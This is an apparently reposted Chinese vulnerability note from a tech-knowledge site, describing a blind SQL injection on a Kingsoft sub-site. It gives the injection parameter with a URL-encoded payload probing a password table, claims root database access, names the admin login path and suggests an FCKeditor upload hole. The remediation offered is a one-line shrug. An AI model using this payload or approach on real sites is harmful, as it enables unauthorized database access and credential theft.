• 选择风格
  • 加入收藏
  • 繁體中文
  • 网站地图
    • 当前位置：首页 >> 网络通讯 >> 网络安全 >> 内容

    金山某分站SQL注射+ROOT+后台

    时间：2015/5/19 18:57:53 作者：平凡之路　来源：xuhantao.com 浏览：

    注射点：
    ?act=usercenter.messageinfo&messageid={id}%20and%20exists%28select%20password%20from%20system_user%29%23
     
    可以查询mysql.user ，www.xuhantao.com，涛涛电脑知识网，应该是root权限
    盲注点。
    后台：
    ?act=login
     
    还存在fckeditor,估计也存在上传漏洞。

     
    具体看下图


     
     
     
     
     
     
    修复方案：应该懂得！

  • 上一篇：115网盘用户密码重置漏洞+某个页面允许无限次使用缺陷
  • 下一篇：几种极其隐蔽的XSS注入的防护
    • 相关文章
    • 没有相关文章
    共有评论 0 条相关评论
    发表我的评论
    • 大名：
    • 内容：
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络，如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号：蒙ICP备15000590号-1